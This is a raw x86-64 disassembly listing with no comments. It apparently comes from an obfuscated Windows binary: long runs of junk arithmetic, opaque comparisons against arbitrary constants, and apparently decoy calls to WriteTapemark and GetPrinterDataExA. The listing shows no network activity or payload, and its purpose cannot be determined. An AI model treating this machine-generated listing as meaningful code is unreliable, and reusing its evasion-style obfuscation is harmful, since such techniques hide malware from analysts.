mov dword [rsp + 0x1cdc], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3768]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3678], rax
movzx eax, word [rsp + 0x7c0]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7c4], ax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0xe6]
or eax, ecx
mov byte [0x14017c011], al
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xe0]
sar eax, cl
mov byte [rsp + 0xe2], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
movsx eax, word [rsp + 0x720]
movsx ecx, word [rsp + 0x7bc]
xor eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1c5c]
mov ecx, dword [rsp + 0x1c90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3700]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3788], rax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x37e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
cmp dword [rsp + 0x1ccc], 0xb437
jne 0x14005d03b
mov rax, qword [rsp + 0x3178]
mov rcx, qword [rsp + 0x3280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3260], rax
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
add eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b8]
add eax, ecx
mov word [rsp + 0x7b4], ax
mov eax, dword [rsp + 0x1cf4]
add eax, 0xa6
mov dword [rsp + 0x1cf4], eax
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x3818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7cc]
sub eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bc4]
mov dword [rsp + 0x1d44], eax
mov eax, dword [rsp + 0x1c5c]
mov rcx, qword [rsp + 0x3848]
mov qword [rsp + 0x3860], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3860]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37c0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3788], rax
cmp dword [rsp + 0x1cf4], 0xb977
jbe 0x14005d26e
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
sar eax, cl
mov byte [0x14017c012], al
mov rax, qword [rsp + 0x3828]
mov ecx, dword [rsp + 0x1bc4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x37e0]
mov rdx, qword [rsp + 0x3660]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jb 0x14005d513
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov dword [rsp + 0x1d48], 0x2967
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1cdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37e0]
mov rdx, qword [rsp + 0x3660]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x14005d4c7
movzx eax, word [rsp + 0x7c0]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7c4], ax
mov edx, dword [rsp + 0x1cdc]
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rax]
call fcn.140130970
nop
jmp 0x14005d513
mov rax, qword [rsp + 0x36a8]
movzx eax, word [rax]
mov word [rsp + 0x7d0], ax
mov rax, qword [rsp + 0x3748]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bc4]
movzx ecx, al
mov eax, dword [rsp + 0x1bb8]
shl eax, cl
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7cc]
xor eax, ecx
movsx ecx, word [rsp + 0x7c8]
mov dword [rsp + 0x1d4c], ecx
movsx edx, word [rsp + 0x7d0]
movzx ecx, dl
mov edx, dword [rsp + 0x1d4c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14012ddb0
movzx eax, word [rsp + 0x7c0]
mov word [rsp + 0x7d4], ax
cmp dword [rsp + 0x1c10], 0x4c12
je 0x14005da67
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x37d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x37e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1cdc], eax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3650]
mov qword [rsp + 0x3868], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3868]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3678]
shr rax, cl
mov qword [rsp + 0x3838], rax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe4]
xor eax, ecx
mov byte [0x14017c010], al
movzx eax, word [rsp + 0x7c0]
mov rcx, qword [rsp + 0x37a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7c4], ax
movsx eax, word [0x14017ced0]
mov rcx, qword [rsp + 0x37b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x720], ax
mov rax, qword [rsp + 0x3820]
mov rcx, qword [rsp + 0x3510]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1c5c], eax
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1d44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1cdc], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3700]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3838], rax
mov rax, qword [rsp + 0x37c0]
mov rcx, qword [rsp + 0x3260]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
movzx eax, byte [0x14017c012]
movzx ecx, byte [rsp + 0xe0]
add eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe1], al
movsx eax, word [rsp + 0x7bc]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7cc], ax
movzx eax, word [rsp + 0x7c0]
movzx ecx, word [rsp + 0x7c4]
sub eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d44]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1c90]
mov ecx, dword [rsp + 0x1ba8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c5c], eax
mov rax, qword [rsp + 0x3280]
mov rcx, qword [rsp + 0x34c8]
mov qword [rsp + 0x3870], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3870]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
movsx eax, word [rsp + 0x7cc]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017ced0], ax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xe3]
add eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7c0], ax
movsx eax, word [rsp + 0x720]
movsx ecx, word [rsp + 0x7c8]
sub eax, ecx
mov word [rsp + 0x7d0], ax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1cdc], eax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3788], rax
mov eax, dword [rsp + 0x1c10]
add eax, 0xa5
mov dword [rsp + 0x1c10], eax
mov rax, qword [rsp + 0x3808]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x3678]
movzx ecx, al
mov rax, qword [rsp + 0x3788]
shr rax, cl
mov qword [0x14017c008], rax
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x36d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xe5]
shl eax, cl
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x37b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3838]
mov rcx, qword [rsp + 0x3788]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x37e0]
mov ecx, dword [rsp + 0x1cdc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1d44], eax
jmp 0x14005d565
cmp dword [rsp + 0x1d48], 0x2169
jbe 0x14005de27
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ba8], eax
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3528]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x37c0], rax
mov rax, qword [rsp + 0x3818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d0]
add eax, ecx
mov word [0x14017ced0], ax
movzx eax, word [rsp + 0x7c4]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xe2]
sub eax, ecx
mov rcx, qword [rsp + 0x37e8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x3810]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x3768]
mov rcx, qword [rsp + 0x3688]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1c90]
movzx ecx, al
mov eax, dword [rsp + 0x1c5c]
sar eax, cl
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x3658]
mov rcx, qword [rsp + 0x3680]
mov qword [rsp + 0x3878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3878]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3528], rax
mov rax, qword [rsp + 0x37e0]
mov rcx, qword [rsp + 0x3828]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b8]
add eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d0]
sub eax, ecx
mov word [0x14017ced0], ax
mov eax, dword [rsp + 0x1d48]
sub eax, 0x21
mov dword [rsp + 0x1d48], eax
movzx eax, byte [0x14017c012]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x3748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017c011]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x3848]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3678]
mov rcx, qword [rsp + 0x3788]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3808]
mov rcx, qword [rsp + 0x37d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x37e0]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d44], eax
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
movzx ecx, byte [0x14017c010]
sar eax, cl
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x37b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14017ced0], ax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
xor eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x7c4]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov rax, qword [rsp + 0x3848]
mov eax, dword [rax]
mov ecx, dword [0x14017cee8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3700]
mov rcx, qword [rsp + 0x3838]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x37d0]
mov rcx, qword [rsp + 0x34c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3528], rax
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1ca0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1cdc], eax
movsx eax, word [rsp + 0x720]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov word [rsp + 0x7d0], ax
jmp 0x14005da67
cmp dword [rsp + 0x1c9c], 0xc972
jb 0x14005e2c1
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
movzx ecx, byte [0x14017c012]
add eax, ecx
mov rcx, qword [rsp + 0x37e8]
mov byte [rcx], al
movsx eax, word [rsp + 0x7c8]
movsx ecx, word [rsp + 0x7cc]
or eax, ecx
mov word [rsp + 0x7d0], ax
mov rax, qword [rsp + 0x3808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3680]
mov qword [rsp + 0x3880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3880]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x3768]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3838]
shl rax, cl
mov qword [rsp + 0x3678], rax
mov eax, dword [rsp + 0x1bac]
mov ecx, dword [rsp + 0x1bf8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c90], eax
mov eax, dword [rsp + 0x1c9c]
sub eax, 0x5f
mov dword [rsp + 0x1c9c], eax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1b98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x37b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d0]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov word [rcx], ax
movzx eax, word [rsp + 0x7c0]
mov rcx, qword [rsp + 0x37a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov word [rcx], ax
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3658]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3508], rax
mov rax, qword [rsp + 0x3768]
mov rcx, qword [rsp + 0x3788]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3828]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1bac]
mov rcx, qword [rsp + 0x3848]
mov qword [rsp + 0x3888], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3888]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3820]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [rsp + 0xe3]
shl eax, cl
mov byte [0x14017c010], al
mov rax, qword [0x14017cee0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe2]
xor eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
or eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
add eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3788]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bc4], eax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x37c0], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1c90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c5c], eax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7d4]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
movsx eax, byte [0x14017c011]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x37c0]
mov rcx, qword [rsp + 0x3260]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x37d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1bb8]
mov rcx, qword [rsp + 0x34d0]
mov qword [rsp + 0x3890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3890]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3768]
mov qword [rsp + 0x3898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3898]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3788], rax
jmp 0x14005de27
mov rax, qword [rsp + 0x3808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3280]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x37d0]
mov rdx, qword [rsp + 0x3658]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jl 0x14012dd83
mov rax, qword [rsp + 0x3678]
mov qword [rsp + 0x38a0], rax
cmp qword [rsp + 0x38a0], 0
je 0x14005e331
movabs rax, 0x3ae59639a61a4f4b
cmp qword [rsp + 0x38a0], rax
je 0x14005e3d0
jmp 0x14005e4ca
movzx eax, byte [0x14017c011]
mov byte [rsp + 0x1d50], al
cmp byte [rsp + 0x1d50], 0
je 0x14005e34b
jmp 0x14005e3ae
mov eax, dword [rsp + 0x1c90]
mov ecx, dword [rsp + 0x1ba8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bac], eax
movzx eax, word [rsp + 0x720]
mov word [rsp + 0x7d8], ax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x3810]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov byte [rsp + 0xe1], al
jmp 0x14005e3cb
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
mov dword [rsp + 0x1d54], eax
cmp dword [rsp + 0x1d54], 0x9da
je 0x14005e3f4
mov rax, qword [rsp + 0x3280]
mov rcx, qword [rsp + 0x37c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov rdx, qword [rsp + 0x3808]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x14012de1d
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
mov byte [0x14017c012], al
movzx eax, byte [0x14017c010]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3678]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3768]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x3838]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x14012df3e
jmp 0x14012df91
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
and eax, ecx
mov rcx, qword [rsp + 0x37a0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x36d8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14012df91
mov rax, qword [rsp + 0x3810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x37e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov dword [rsp + 0x30dc], eax
cmp dword [rsp + 0x30dc], 0xb3f
je 0x14012dfb4
jmp 0x14012dfda
mov r9d, 1
mov r8d, 0xc3
mov edx, 0xd8
mov rcx, qword [rsp + 0x3520]
call qword [sym.imp.KERNEL32.dll_WriteTapemark]
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017c011], al
lea rax, [rsp + 0x35c8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa9
lea rax, [rsp + 0x7b8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1dc0]
mov r8, qword [rsp + 0x35e0]
mov rdx, qword [rsp + 0x38c8]
mov rcx, qword [rsp + 0x38b8]
call sub.WINSPOOL.DRV_GetPrinterDataExA
mov dword [rsp + 0x1cdc], eax
movsx eax, word [rsp + 0x7cc]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
